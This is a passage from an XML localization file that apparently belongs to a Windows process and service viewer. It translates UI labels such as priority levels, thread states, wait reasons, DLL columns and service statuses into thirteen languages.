<ja>モジュール</ja>
<zh>模块</zh>
<ko>모듈</ko>
<en-gb>Module</en-gb>
<hu>Modul</hu>
<pt-br>Módulo</pt-br>
<nl>Module</nl>
</msg>
<!-- process priority names -->
<cat name="PRIOR">
<msg name="32">
<en>Normal</en>
<de>Normal</de>
<es>Normal</es>
<fr>Normal</fr>
<it>Normale</it>
<ru>Обычный</ru>
<ja>標準</ja>
<zh>正常</zh>
<ko>보통</ko>
<en-gb>Normal</en-gb>
<hu>Normál</hu>
<pt-br>Normal</pt-br>
<nl>Normaal</nl>
</msg>
<msg name="256">
<en>Realtime</en>
<de>Echtzeit</de>
<es>En tiempo real</es>
<fr>Temps réel</fr>
<it>Tempo reale</it>
<ru>В реальном времени</ru>
<ja>リアルタイム</ja>
<zh>实时</zh>
<ko>실시간</ko>
<en-gb>Real time</en-gb>
<hu>Valós idejű</hu>
<pt-br>Tempo real</pt-br>
<nl>Realtime</nl>
</msg>
<msg name="128">
<en>High</en>
<de>Hoch</de>
<es>Alto</es>
<fr>Hauteur</fr>
<it>Alta</it>
<ru>Высокий</ru>
<ja>高い</ja>
<zh>高</zh>
<ko>높음</ko>
<en-gb>High</en-gb>
<hu>Magas</hu>
<pt-br>Alto</pt-br>
<nl>Hoog</nl>
</msg>
<msg name="32768">
<en>Above normal</en>
<de>Über normal</de>
<es>Por encima de lo normal</es>
<fr>Supérieur à la normale</fr>
<it>Superiore al normale</it>
<ru>Выше среднего</ru>
<ja>標準より高い</ja>
<zh>高于正常</zh>
<ko>보통 이상</ko>
<en-gb>Above normal</en-gb>
<hu>Normál feletti</hu>
<pt-br>Acima do normal</pt-br>
<nl>Hoger dan normaal</nl>
</msg>
<msg name="16384">
<en>Below normal</en>
<de>Unter normal</de>
<es>Por debajo de lo normal</es>
<fr>Inférieur à la normale</fr>
<it>Inferiore al normale</it>
<ru>Ниже среднего</ru>
<ja>標準より低い</ja>
<zh>低于正常</zh>
<ko>보통 이하</ko>
<en-gb>Below normal</en-gb>
<hu>Normál alatti</hu>
<pt-br>Abaixo do normal</pt-br>
<nl>Lager dan normaal</nl>
</msg>
<msg name="64">
<en>Idle</en>
<de>Idle</de>
<es>En reposo</es>
<fr>Inocupé</fr>
<it>Inattivo</it>
<ru>Простой</ru>
<ja>アイドル</ja>
<zh>空闲</zh>
<ko>유휴 상태</ko>
<en-gb>Idle</en-gb>
<hu>Üresjárat</hu>
<pt-br>Ocioso</pt-br>
<nl>Niet actief</nl>
</msg>
</cat>
<!-- thread priority names -->
<cat name="TPRIOR">
<msg name="M15">
<en>Idle</en>
<de>Idle</de>
<es>En reposo</es>
<fr>Inoccupé</fr>
<it>Inattivo</it>
<ru>Простой</ru>
<ja>アイドル</ja>
<zh>空闲</zh>
<ko>유휴 상태</ko>
<en-gb>Idle</en-gb>
<hu>Üresjárat</hu>
<pt-br>Ocioso</pt-br>
<nl>Niet actief</nl>
</msg>
<msg name="M2">
<en>Low</en>
<de>Niedrig</de>
<es>Bajo</es>
<fr>Bas</fr>
<it>Bassa</it>
<ru>Низкий</ru>
<ja>低い</ja>
<zh>低</zh>
<ko>낮음</ko>
<en-gb>Low</en-gb>
<hu>Alacsony</hu>
<pt-br>Baixo</pt-br>
<nl>Laag</nl>
</msg>
<msg name="M1">
<en>Below normal</en>
<de>Unter normal</de>
<es>Por debajo de lo normal</es>
<fr>Au-dessous de la normale</fr>
<it>Inferiore al normale</it>
<ru>Ниже среднего</ru>
<ja>標準より低い</ja>
<zh>低于正常</zh>
<ko>보통 이하</ko>
<en-gb>Below normal</en-gb>
<hu>Normál alatti</hu>
<pt-br>Abaixo do normal</pt-br>
<nl>Lager dan normaal</nl>
</msg>
<msg name="0">
<en>Normal</en>
<de>Normal</de>
<es>Normal</es>
<fr>Normal</fr>
<it>Normale</it>
<ru>Обычный</ru>
<ja>標準</ja>
<zh>正常</zh>
<ko>보통</ko>
<en-gb>Normal</en-gb>
<hu>Normál</hu>
<pt-br>Normal</pt-br>
<nl>Normaal</nl>
</msg>
<msg name="1">
<en>Above normal</en>
<de>Über normal</de>
<es>Por encima de lo normal</es>
<fr>Au-dessus de la normale</fr>
<it>Superiore al normale</it>
<ru>Выше среднего</ru>
<ja>標準より高い</ja>
<zh>高于正常</zh>
<ko>보통 이상</ko>
<en-gb>Above normal</en-gb>
<hu>Normál feletti</hu>
<pt-br>Acima do normal</pt-br>
<nl>Hoger dan normaal</nl>
</msg>
<msg name="2">
<en>High</en>
<de>Hoch</de>
<es>Alto</es>
<fr>Haut</fr>
<it>Alta</it>
<ru>Высокий</ru>
<ja>高い</ja>
<zh>高</zh>
<ko>높음</ko>
<en-gb>High</en-gb>
<hu>Magas</hu>
<pt-br>Alto</pt-br>
<nl>Hoog</nl>
</msg>
<msg name="15">
<en>Time critical</en>
<de>Zeitkritisch</de>
<es>Hora crítica</es>
<fr>Temps critique</fr>
<it>Critica</it>
<ru>Критичный по времени</ru>
<ja>タイム クリティカル</ja>
<zh>关键时间</zh>
<ko>시간이 중요함</ko>
<en-gb>Time critical</en-gb>
<hu>Időfüggő</hu>
<pt-br>Tempo crítico</pt-br>
<nl>Tijd van kritieke gebeurtenissen</nl>
</msg>
</cat>
<msg name="SERVICES">
<en>Services hosted</en>
<de>Untergeordnete Dienste</de>
<es>Servicios hospedados</es>
<fr>Services hôtes</fr>
<it>Servizi supportati</it>
<ru>Предоставляемые услуги</ru>
<ja>ホスティングされているサービス</ja>
<zh>托管的服务</zh>
<ko>호스팅된 서비스</ko>
<en-gb>Services hosted</en-gb>
<hu>Rendszeren tárolt szolgáltatások</hu>
<pt-br>Serviços hospedados</pt-br>
<nl>Gehoste services</nl>
</msg>
<msg name="DLLS">
<en>DLLs</en>
<de>DLLs</de>
<es>DLLs</es>
<fr>DLLs</fr>
<it>DLL</it>
<ru>DLL-файлы</ru>
<ja>DLL</ja>
<zh>DLL</zh>
<ko>DLL</ko>
<en-gb>DLLs</en-gb>
<hu>DLL-ek</hu>
<pt-br>DLLs</pt-br>
<nl>DLL's</nl>
</msg>
<msg name="KILL">
<en>End process</en>
<de>Prozess beenden</de>
<es>Finalizar proceso</es>
<fr>Mettre fin au processus</fr>
<it>Termina processo</it>
<ru>Завершить процесс</ru>
<ja>終了プロセス</ja>
<zh>结束进程</zh>
<ko>프로세스 종료</ko>
<en-gb>End process</en-gb>
<hu>Folyamat leállítása</hu>
<pt-br>Encerrar processo</pt-br>
<nl>Proces beëindigen</nl>
</msg>
<msg name="KILLCONFIRM">
<en>This will immediately end the selected process, are you sure you want to continue?</en>
<de>Der Prozess wird dadurch sofort beendet. Wollen sie wirklich fortfahren?</de>
<es>Con esta acción se finalizará inmediatamente el proceso seleccionado, ¿está seguro de que desea continuar?</es>
<fr>Ceci stoppera immédiatement le processus sélectionné, êtes-vous sûr de vouloir poursuivre?</fr>
<it>Il processo selezionato verrà interrotto immediatamente. Continuare?</it>
<ru>При выполнении этой операции выбранный процесс будет немедленно остановлен. Продолжить?</ru>
<ja>選択したプロセスは直ちに終了します。続行しますか?</ja>
<zh>此操作将立即结束选定的进程,是否确实要继续?</zh>
<ko>이 작업은 선택한 프로세스를 즉시 종료합니다. 계속하시겠습니까?</ko>
<en-gb>This will immediately end the selected process, are you sure you want to continue?</en-gb>
<hu>Ez azonnal leállítja a kiválasztott folyamatot. Biztosan folytatni kívánja?</hu>
<pt-br>Esta ação encerrará imediatamente o processo selecionado. Tem certeza de que deseja continuar?</pt-br>
<nl>Met deze actie wordt het geselecteerde proces onmiddellijk beëindigd. Weet u zeker dat u wilt doorgaan?</nl>
</msg>
<cat name="DLLLIST">
<msg name="PATH">
<en>Full Path</en>
<de>Pfad</de>
<es>Ruta completa</es>
<fr>Chemin complet</fr>
<it>Percorso completo</it>
<ru>Полный путь</ru>
<ja>完全パス</ja>
<zh>完整路径</zh>
<ko>전체 경로</ko>
<en-gb>Full Path</en-gb>
<hu>Teljes elérési út</hu>
<pt-br>Caminho completo</pt-br>
<nl>Volledig pad</nl>
</msg>
<msg name="VERSION">
<en>Version</en>
<de>Version</de>
<es>Versión</es>
<fr>Version</fr>
<it>Versione</it>
<ru>Версия</ru>
<ja>バージョン</ja>
<zh>版本</zh>
<ko>버전</ko>
<en-gb>Version</en-gb>
<hu>Verzió</hu>
<pt-br>Versão</pt-br>
<nl>Versie</nl>
</msg>
<msg name="BASE">
<en>Base Address</en>
<de>Basisadresse</de>
<es>Dirección base</es>
<fr>Adresse de base</fr>
<it>Indirizzo base</it>
<ru>Базовый адрес</ru>
<ja>ベース アドレス</ja>
<zh>基地址</zh>
<ko>기본 주소</ko>
<en-gb>Base Address</en-gb>
<hu>Báziscím</hu>
<pt-br>Endereço de base</pt-br>
<nl>Basisadres</nl>
</msg>
<msg name="SIZE">
<en>Size</en>
<de>Größe</de>
<es>Tamaño</es>
<fr>Taille</fr>
<it>Dimensione</it>
<ru>Размер</ru>
<ja>サイズ</ja>
<zh>大小</zh>
<ko>크기</ko>
<en-gb>Size</en-gb>
<hu>Méret</hu>
<pt-br>Tamanho</pt-br>
<nl>Grootte</nl>
</msg>
<msg name="DESCRIPTION">
<en>Description</en>
<de>Beschreibung</de>
<es>Descripción</es>
<fr>Description</fr>
<it>Descrizione</it>
<ru>Описание</ru>
<ja>説明</ja>
<zh>说明</zh>
<ko>설명</ko>
<en-gb>Description</en-gb>
<hu>Leírás</hu>
<pt-br>Descrição</pt-br>
<nl>Beschrijving</nl>
</msg>
</cat>
</cat>
<cat name="THREADS">
<msg name="ID">
<en>ID</en>
<de>ID</de>
<es>ID</es>
<fr>ID</fr>
<it>ID</it>
<ru>Идентификатор</ru>
<ja>ID</ja>
<zh>ID</zh>
<ko>ID</ko>
<en-gb>ID</en-gb>
<hu>azonosító</hu>
<pt-br>ID</pt-br>
<nl>ID</nl>
</msg>
<msg name="CREATED">
<en>Creation Time</en>
<de>Startzeit</de>
<es>Hora de creación</es>
<fr>Créé le</fr>
<it>Ora di creazione</it>
<ru>Время создания</ru>
<ja>作成時間</ja>
<zh>创建时间</zh>
<ko>작성 시간</ko>
<en-gb>Creation Time</en-gb>
<hu>Létrehozási idő</hu>
<pt-br>Tempo da criação</pt-br>
<nl>Aanmaaktijd</nl>
</msg>
<msg name="BASE">
<en>Base Priority</en>
<de>Basispriorität</de>
<es>Prioridad base</es>
<fr>Priorité de base</fr>
<it>Priorità base</it>
<ru>Базовый приоритет</ru>
<ja>基本優先順位</ja>
<zh>基优先级</zh>
<ko>기본 우선 순위</ko>
<en-gb>Base Priority</en-gb>
<hu>Alapprioritás</hu>
<pt-br>Prioridade de base</pt-br>
<nl>Basisprioriteit</nl>
</msg>
<msg name="PRIOR">
<en>Priority</en>
<de>Priorität</de>
<es>Prioridad</es>
<fr>Priorité</fr>
<it>Priorità</it>
<ru>Приоритет</ru>
<ja>優先順位</ja>
<zh>优先级</zh>
<ko>우선 순위</ko>
<en-gb>Priority</en-gb>
<hu>Prioritás</hu>
<pt-br>Prioridade</pt-br>
<nl>Prioriteit</nl>
</msg>
<msg name="STATE">
<en>State</en>
<de>Status</de>
<es>Estado</es>
<fr>Etat</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>状態</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>State</en-gb>
<hu>Állapot</hu>
<pt-br>Estado</pt-br>
<nl>Status</nl>
</msg>
<msg name="WAIT">
<en>Wait Reason</en>
<de>Wartegrund</de>
<es>Motivo de espera</es>
<fr>Cause d'attente</fr>
<it>Motivo dell'attesa</it>
<ru>Причина ожидания</ru>
<ja>待機理由</ja>
<zh>等待原因</zh>
<ko>대기 원인</ko>
<en-gb>Wait Reason</en-gb>
<hu>Várakozás oka</hu>
<pt-br>Razão da espera</pt-br>
<nl>Reden voor wachtende thread</nl>
</msg>
<msg name="TIME">
<en>Processor Time</en>
<de>Prozessorzeit</de>
<es>Hora procesador</es>
<fr>Temps Processeur</fr>
<it>Tempo processore</it>
<ru>Время процессора</ru>
<ja>プロセッサ時間</ja>
<zh>处理器时间</zh>
<ko>프로세서 시간</ko>
<en-gb>Processor Time</en-gb>
<hu>Processzoridő</hu>
<pt-br>Tempo do processador</pt-br>
<nl>Processortijd</nl>
</msg>
<msg name="TIMEK">
<en>Kernel Time</en>
<de>Kernelzeit</de>
<es>Hora del núcleo</es>
<fr>Temps Kernel (noyau)</fr>
<it>Tempo kernel</it>
<ru>Время ядра</ru>
<ja>カーネル時間</ja>
<zh>内核时间</zh>
<ko>커널 시간</ko>
<en-gb>Kernel Time</en-gb>
<hu>Rendszerhéj-idő</hu>
<pt-br>Tempo do kernel</pt-br>
<nl>Kerneltijd</nl>
</msg>
<msg name="TIMEU">
<en>User Time</en>
<de>Benutzerzeit</de>
<es>Hora usuario</es>
<fr>Temps Utilisateur</fr>
<it>Tempo utente</it>
<ru>Время пользователя</ru>
<ja>ユーザ時間</ja>
<zh>用户时间</zh>
<ko>사용자 시간</ko>
<en-gb>User Time</en-gb>
<hu>Felhasználói módú használat</hu>
<pt-br>Tempo do usuário</pt-br>
<nl>Tijd in gebruikersmodus</nl>
</msg>
<msg name="USER">
<en>User</en>
<de>Benutzer</de>
<es>Usuario</es>
<fr>Utilisateur</fr>
<it>Utente</it>
<ru>Пользователь</ru>
<ja>ユーザ</ja>
<zh>用户</zh>
<ko>사용자</ko>
<en-gb>User</en-gb>
<hu>Felhasználó</hu>
<pt-br>Usuário</pt-br>
<nl>Gebruiker</nl>
</msg>
<msg name="TITLE">
<en>Threads</en>
<de>Threads</de>
<es>Threads</es>
<fr>Threads (tâches)</fr>
<it>Thread</it>
<ru>Потоки</ru>
<ja>スレッド</ja>
<zh>线程</zh>
<ko>스레드</ko>
<en-gb>Threads</en-gb>
<hu>Szálak</hu>
<pt-br>Segmentos</pt-br>
<nl>Threads</nl>
</msg>
<cat name="STATE">
<msg name="init">
<en>Initializing</en>
<de>Initialisiert</de>
<es>Iniciando</es>
<fr>Initialisation</fr>
<it>Inizializzazione</it>
<ru>Инициализация</ru>
<ja>初期化しています</ja>
<zh>初始化</zh>
<ko>초기화 중</ko>
<en-gb>Initialising</en-gb>
<hu>Inicializálás</hu>
<pt-br>Inicializando</pt-br>
<nl>Bezig met initialiseren</nl>
</msg>
<msg name="ready">
<en>Ready</en>
<de>Bereit</de>
<es>Listo</es>
<fr>Prêt</fr>
<it>Pronto</it>
<ru>Готов</ru>
<ja>準備できました</ja>
<zh>就绪</zh>
<ko>준비</ko>
<en-gb>Ready</en-gb>
<hu>Kész</hu>
<pt-br>Pronto</pt-br>
<nl>Gereed</nl>
</msg>
<msg name="run">
<en>Running</en>
<de>Läuft</de>
<es>En funcionamiento</es>
<fr>En marche</fr>
<it>In esecuzione</it>
<ru>Выполняется</ru>
<ja>実行しています</ja>
<zh>运行</zh>
<ko>실행 중</ko>
<en-gb>Running</en-gb>
<hu>Futó</hu>
<pt-br>Executando</pt-br>
<nl>Wordt uitgevoerd</nl>
</msg>
<msg name="stdby">
<en>Standing by</en>
<de>In Bereitschaft</de>
<es>En espera</es>
<fr>En état d'attente</fr>
<it>In standby</it>
<ru>Ждущий режим</ru>
<ja>スタンバイしています</ja>
<zh>备用</zh>
<ko>대기 중</ko>
<en-gb>Standing by</en-gb>
<hu>Készenlétben</hu>
<pt-br>Aguardando</pt-br>
<nl>In wachtstand</nl>
</msg>
<msg name="term">
<en>Terminated</en>
<de>Abgebrochen</de>
<es>Finalizado</es>
<fr>Terminé</fr>
<it>Terminato</it>
<ru>Завершен</ru>
<ja>中断されました</ja>
<zh>已终止</zh>
<ko>종료됨</ko>
<en-gb>Terminated</en-gb>
<hu>Befejezett</hu>
<pt-br>Encerrado</pt-br>
<nl>Voltooid</nl>
</msg>
<msg name="trans">
<en>Transition</en>
<de>Übergang</de>
<es>Transición</es>
<fr>Transition</fr>
<it>Transizione</it>
<ru>Переход</ru>
<ja>移行中</ja>
<zh>转换</zh>
<ko>전환</ko>
<en-gb>Transition</en-gb>
<hu>Átmeneti</hu>
<pt-br>Transição</pt-br>
<nl>Transitie</nl>
</msg>
<msg name="wait">
<en>Waiting</en>
<de>Wartend</de>
<es>En espera</es>
<fr>En attente</fr>
<it>In attesa</it>
<ru>Ожидание</ru>
<ja>待機中です</ja>
<zh>等待</zh>
<ko>기다리는 중</ko>
<en-gb>Waiting</en-gb>
<hu>Várakozó</hu>
<pt-br>Esperando</pt-br>
<nl>Bezig met wachten</nl>
</msg>
</cat>
<cat name="WAIT">
<msg name="executive">
<en>Executive</en>
<de>Ausführende Instanz</de>
<es>Ejecutándose</es>
<fr>Exécutable</fr>
<it>Esecutivo</it>
<ru>Исполнимый</ru>
<ja>実行可能</ja>
<zh>执行</zh>
<ko>실행</ko>
<en-gb>Executive</en-gb>
<hu>Operációs rendszer</hu>
<pt-br>Executivo</pt-br>
<nl>Uitvoerende functie</nl>
</msg>
<msg name="freepage">
<en>Free Page</en>
<de>Freie Seite</de>
<es>Página libre</es>
<fr>Page libre</fr>
<it>Pagina libera</it>
<ru>Свободная страница</ru>
<ja>空きページ</ja>
<zh>可用页面</zh>
<ko>사용 가능한 페이지</ko>
<en-gb>Free Page</en-gb>
<hu>Szabad lap</hu>
<pt-br>Página livre</pt-br>
<nl>Vrije pagina</nl>
</msg>
<msg name="pagein">
<en>Page In</en>
<de>Page In</de>
<es>Página entrante</es>
<fr>Page In</fr>
<it>Pagina in ingresso</it>
<ru>Ввод страницы</ru>
<ja>ページ イン</ja>
<zh>输入页面</zh>
<ko>페이지 입력</ko>
<en-gb>Page In</en-gb>
<hu>Belapozás</hu>
<pt-br>Página de entrada</pt-br>
<nl>Plaatsing in wisselbestand</nl>
</msg>
<msg name="pageout">
<en>Page Out</en>
<de>Page Out</de>
<es>Página saliente</es>
<fr>Page Out</fr>
<it>Pagina in uscita</it>
<ru>Вывод страницы</ru>
<ja>ページ アウト</ja>
<zh>输出页面</zh>
<ko>페이지 출력</ko>
<en-gb>Page Out</en-gb>
<hu>Kilapozás</hu>
<pt-br>Página de saída</pt-br>
<nl>Ophalen uit wisselbestand</nl>
</msg>
<msg name="poolalloc">
<en>Pool Allocation</en>
<de>Pool Allocation</de>
<es>Espacio reservado</es>
<fr>Allocation du Pool</fr>
<it>Allocazione pool</it>
<ru>Выделение пула</ru>
<ja>プール割り当て</ja>
<zh>池分配</zh>
<ko>풀 할당</ko>
<en-gb>Pool Allocation</en-gb>
<hu>Készletlefoglalás</hu>
<pt-br>Alocação de pool</pt-br>
<nl>Toewijzing in geheugengebied</nl>
</msg>
<msg name="delay">
<en>Execution Delay</en>
<de>Ausführungsverzögerung</de>
<es>Retraso de la ejecución</es>
<fr>Retard d'éxécution</fr>
<it>Esecuzione ritardata</it>
<ru>Задержка выполнения</ru>
<ja>実行遅延</ja>
<zh>执行延迟</zh>
<ko>실행 지연</ko>
<en-gb>Execution Delay</en-gb>
<hu>Másik folyamat végrehajtására vár</hu>
<pt-br>Atraso de execução</pt-br>
<nl>Vertraging van uitvoering</nl>
</msg>
<msg name="suspend">
<en>Suspended</en>
<de>Angehalten</de>
<es>Suspendido</es>
<fr>Suspendu</fr>
<it>Sospeso</it>
<ru>Приостановлен</ru>
<ja>一時停止されました</ja>
<zh>已挂起</zh>
<ko>일시중지됨</ko>
<en-gb>Suspended</en-gb>
<hu>Felfüggesztve</hu>
<pt-br>Suspenso</pt-br>
<nl>Uitgesteld</nl>
</msg>
<msg name="userreq">
<en>User Request</en>
<de>Benutzeranforderung</de>
<es>Petición del usuario</es>
<fr>Demande Utilisateur</fr>
<it>Richiesta utente</it>
<ru>Запрос пользователя</ru>
<ja>ユーザ リクエスト</ja>
<zh>用户请求</zh>
<ko>사용자 요청</ko>
<en-gb>User Request</en-gb>
<hu>Felhasználói kérés</hu>
<pt-br>Solicitação do usuário</pt-br>
<nl>Aanvraag door gebruiker</nl>
</msg>
<msg name="evthigh">
<en>Event Pair High</en>
<de>Event Pair High</de>
<es>Par de sucesos alto</es>
<fr>Event Pair High</fr>
<it>Event Pair High</it>
<ru>Включение парного события</ru>
<ja>イベント ペア高</ja>
<zh>事件对高</zh>
<ko>이벤트 쌍 높음</ko>
<en-gb>Event Pair High</en-gb>
<hu>Eseménypár high állapot</hu>
<pt-br>Par de evento alto</pt-br>
<nl>Gebeurtenispaar hoog</nl>
</msg>
<msg name="evtlow">
<en>Event Pair Low</en>
<de>Event Pair Low</de>
<es>Par de sucesos bajo</es>
<fr>Event Pair Low</fr>
<it>Event Pair Low</it>
<ru>Выключение парного события</ru>
<ja>イベント ペア低</ja>
<zh>事件对低</zh>
<ko>이벤트 쌍 낮음</ko>
<en-gb>Event Pair Low</en-gb>
<hu>Eseménypár low állapot</hu>
<pt-br>Par de eventos baixo</pt-br>
<nl>Gebeurtenispaar laag</nl>
</msg>
<msg name="lpcrecv">
<en>LPC Receive</en>
<de>LPC Empfang</de>
<es>Recepción de LPC</es>
<fr>LPC Reçu</fr>
<it>Ricezione LPC</it>
<ru>Получение LPC</ru>
<ja>LPC 受信</ja>
<zh>LPC 接收</zh>
<ko>LPC 수신</ko>
<en-gb>LPC Receive</en-gb>
<hu>LPC vétel</hu>
<pt-br>Recebimento de LCP</pt-br>
<nl>LPC-bericht ontvangen</nl>
</msg>
<msg name="lpcreply">
<en>LPC Reply</en>
<de>LPC Antwort</de>
<es>Respuesta de LPC</es>
<fr>LPC Répondu</fr>
<it>Risposta LPC</it>
<ru>Ответ LPC</ru>
<ja>LPC 応答</ja>
<zh>LPC 回复</zh>
<ko>LPC 응답</ko>
<en-gb>LPC Reply</en-gb>
<hu>LPC válasz</hu>
<pt-br>Resposta de LCP</pt-br>
<nl>LPC-bericht beantwoorden</nl>
</msg>
<msg name="vmem">
<en>Virtual Memory</en>
<de>Virtueller Speicher</de>
<es>Memoria virtual</es>
<fr>Mémoire Virtuelle</fr>
<it>Memoria virtuale</it>
<ru>Виртуальная память</ru>
<ja>仮想メモリ</ja>
<zh>虚拟内存</zh>
<ko>가상 메모리</ko>
<en-gb>Virtual Memory</en-gb>
<hu>Virtuális memória</hu>
<pt-br>Memória virtual</pt-br>
<nl>Virtueel geheugen</nl>
</msg>
</cat>
</cat>
<cat name="WINDOWS">
<msg name="TITLE">
<en>Windows</en>
<de>Fenster</de>
<es>Windows</es>
<fr>Fenêtre</fr>
<it>Finestre</it>
<ru>Windows</ru>
<ja>Windows</ja>
<zh>窗口</zh>
<ko>Windows</ko>
<en-gb>Windows</en-gb>
<hu>Windows</hu>
<pt-br>Windows</pt-br>
<nl>Vensters</nl>
</msg>
<msg name="NOTITLE">
<en>no title</en>
<de>kein Titel</de>
<es>sin título</es>
<fr>aucun titre</fr>
<it>senza titolo</it>
<ru>заголовка нет</ru>
<ja>タイトルがありません</ja>
<zh>无标题</zh>
<ko>제목 없음</ko>
<en-gb>no title</en-gb>
<hu>cím nélkül</hu>
<pt-br>sem título</pt-br>
<nl>geen titel</nl>
</msg>
<msg name="VISIBLE">
<en>visible</en>
<de>sichtbar</de>
<es>visible</es>
<fr>visible</fr>
<it>visibili</it>
<ru>видимый</ru>
<ja>表示</ja>
<zh>可见</zh>
<ko>표시</ko>
<en-gb>visible</en-gb>
<hu>látható</hu>
<pt-br>visível</pt-br>
<nl>zichtbaar</nl>
</msg>
<msg name="HIDDEN">
<en>hidden</en>
<de>versteckt</de>
<es>oculto</es>
<fr>masqué</fr>
<it>nascoste</it>
<ru>скрытый</ru>
<ja>非表示</ja>
<zh>已隐藏</zh>
<ko>숨김</ko>
<en-gb>hidden</en-gb>
<hu>rejtett</hu>
<pt-br>oculto</pt-br>
<nl>verborgen</nl>
</msg>
</cat>
<!-- "services" screen messages -->
<cat name="SERVICE">
<msg name="TITLE">
<en>Services</en>
<de>Dienste</de>
<es>Servicios</es>
<fr>Services</fr>
<it>Servizi</it>
<ru>Службы</ru>
<ja>サービス</ja>
<zh>服务</zh>
<ko>서비스</ko>
<en-gb>Services</en-gb>
<hu>Szolgáltatások</hu>
<pt-br>Serviços</pt-br>
<nl>Services</nl>
</msg>
<msg name="DRVTITLE">
<en>Drivers</en>
<de>Treiber</de>
<es>Drivers</es>
<fr>Pilotes</fr>
<it>Unità</it>
<ru>Драйверы</ru>
<ja>ドライバ</ja>
<zh>驱动程序</zh>
<ko>드라이버</ko>
<en-gb>Drivers</en-gb>
<hu>Illesztőprogramok</hu>
<pt-br>Drivers</pt-br>
<nl>Stuurprogramma's</nl>
</msg>
<msg name="STATUS">
<en>Status</en>
<de>Status</de>
<es>Estado</es>
<fr>Statut</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>ステータス</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>Status</en-gb>
<hu>Állapot</hu>
<pt-br>Status</pt-br>
<nl>Status</nl>
</msg>
<cat name="STATUS">
<msg name="stopped">
<en>Stopped</en>
<de>Gestoppt</de>
<es>Parado</es>
<fr>Arrêté</fr>
<it>Interrotto</it>
<ru>Остановлен</ru>
<ja>停止</ja>
<zh>已停止</zh>
<ko>중지됨</ko>
<en-gb>Stopped</en-gb>
<hu>Leállítva</hu>
<pt-br>Parado</pt-br>
<nl>Gestopt</nl>
</msg>
<msg name="stopping">
<en>Stop pending</en>
<de>Wird gestoppt</de>
<es>Pendiente de parada</es>
<fr>Sera arrêté</fr>
<it>Chiusura in sospeso</it>
<ru>Ждет остановки</ru>
<ja>停止待ち</ja>
<zh>停止挂起</zh>
<ko>중지 보류</ko>
<en-gb>Stop pending</en-gb>
<hu>Felfüggesztés vége</hu>
<pt-br>Parar pendência</pt-br>
<nl>Stoppen is in behandeling</nl>
</msg>
<msg name="started">
<en>Started</en>
<de>Gestartet</de>
<es>Iniciado</es>
<fr>Démarré</fr>
<it>Avviato</it>
<ru>Запущен</ru>
<ja>開始</ja>
<zh>已启动</zh>
<ko>시작됨</ko>
<en-gb>Started</en-gb>
<hu>Elindítva</hu>
<pt-br>Iniciado</pt-br>
<nl>Gestart</nl>
</msg>
<msg name="starting">
<en>Start pending</en>
<de>Wird gestartet</de>
<es>Pendiente de inicio</es>
<fr>Sera démarré</fr>
<it>Avvio in sospeso</it>
<ru>Ждет запуска</ru>
<ja>開始待ち</ja>
<zh>启动挂起</zh>
<ko>시작 보류</ko>
<en-gb>Start pending</en-gb>
<hu>Felfüggesztés indítása</hu>
<pt-br>Iniciar pendência</pt-br>
<nl>Starten is in behandeling</nl>
</msg>
<msg name="paused">
<en>Paused</en>
<de>Angehalten</de>
<es>En pausa</es>
<fr>En pause</fr>
<it>In pausa</it>
<ru>Приостановлен</ru>
<ja>一時停止中</ja>
<zh>已暂停</zh>
<ko>일시 중지됨</ko>
<en-gb>Paused</en-gb>
<hu>Szüneteltetés</hu>
<pt-br>Pausado</pt-br>
<nl>Onderbroken</nl>
</msg>
<msg name="pausing">
<en>Pause pending</en>
<de>Wird angehalten</de>
<es>Pendiente de pausa</es>
<fr>Sera mis en pause</fr>
<it>Pausa in sospeso</it>
<ru>Ждет приостановки</ru>
<ja>一時停止保留中</ja>
<zh>暂停挂起</zh>
<ko>일시 중지 보류</ko>
<en-gb>Pause pending</en-gb>
<hu>Felfüggesztés szüneteltetése</hu>
<pt-br>Pausar pendência</pt-br>
<nl>Onderbreken is in behandeling</nl>
</msg>
<msg name="continuing">
<en>Continue pending</en>
<de>Wird fortgesetzt</de>
<es>Pendiente de continuación</es>
<fr>Continue</fr>
<it>In attesa di ripresa</it>
<ru>Ждет продолжения</ru>
<ja>保留中</ja>
<zh>继续挂起</zh>
<ko>계속 보류</ko>
<en-gb>Continue pending</en-gb>
<hu>Felfüggesztés folytatása</hu>
<pt-br>Continuar pendência</pt-br>
<nl>In behandeling houden</nl>
</msg>
</cat>
<cat name="TYPE">
<msg name="fsys">
<en>File System Driver</en>
<de>Dateisystemtreiber</de>
<es>Driver del sistema de archivos</es>
<fr>Pilote du Sytème de Fichiers</fr>
<it>Driver del file system</it>
<ru>Драйвер файловой системы</ru>
<ja>ファイル システム ドライバ</ja>
<zh>文件系统驱动程序</zh>
<ko>파일 시스템 드라이버</ko>
<en-gb>File System Driver</en-gb>
<hu>Fájlrendszer-illesztőprogram</hu>
<pt-br>Driver do sistema de arquivos</pt-br>
<nl>Bestandssysteemstuurprogramma</nl>
</msg>
<msg name="kernel">
<en>Kernel Driver</en>
<de>Kerneltreiber</de>
<es>Driver de núcleo</es>
<fr>Pilote du Kernel (noyau)</fr>
<it>Driver del kernel</it>
<ru>Драйвер ядра</ru>
<ja>カーネル ドライバ</ja>
<zh>内核驱动程序</zh>
<ko>커널 드라이버</ko>
<en-gb>Kernel Driver</en-gb>
<hu>Rendszerhéj-illesztőprogram</hu>
<pt-br>Driver do kernel</pt-br>
<nl>Kernelstuurprogramma</nl>
</msg>
<msg name="own">
<en>Win32 Service (Own Process)</en>
<de>Win32 Dienst (eigener Prozess)</de>
<es>Servicio Win32 (proceso propio)</es>
<fr>Service Win32 (propriétaire)</fr>
<it>Servizio Win32 (processo esclusivo)</it>
<ru>Служба Win32 (собственный процесс)</ru>
<ja>Win32 Service (自分のプロセス)</ja>
<zh>Win32 服务(自己的进程)</zh>
<ko>Win32 서비스(소유 프로세스)</ko>
<en-gb>Win32 Service (Own Process)</en-gb>
<hu>Win32 szolgáltatás (saját folyamat)</hu>
<pt-br>Win32 Service (Processo próprio)</pt-br>
<nl>Win32-service (Eigen proces)</nl>
</msg>
<msg name="shared">
<en>Win32 Service (Shared Process)</en>
<de>Win32 Dienst (gemeinsamer Prozess)</de>
<es>Servicio Win32 (proceso compartido)</es>
<fr>Servie Win32 (partagé)</fr>
<it>Servizio Win32 (processo condiviso)</it>
<ru>Служба Win32 (общий процесс)</ru>
<ja>Win32 Service (共有プロセス)</ja>
<zh>Win32 服务(共享的进程)</zh>
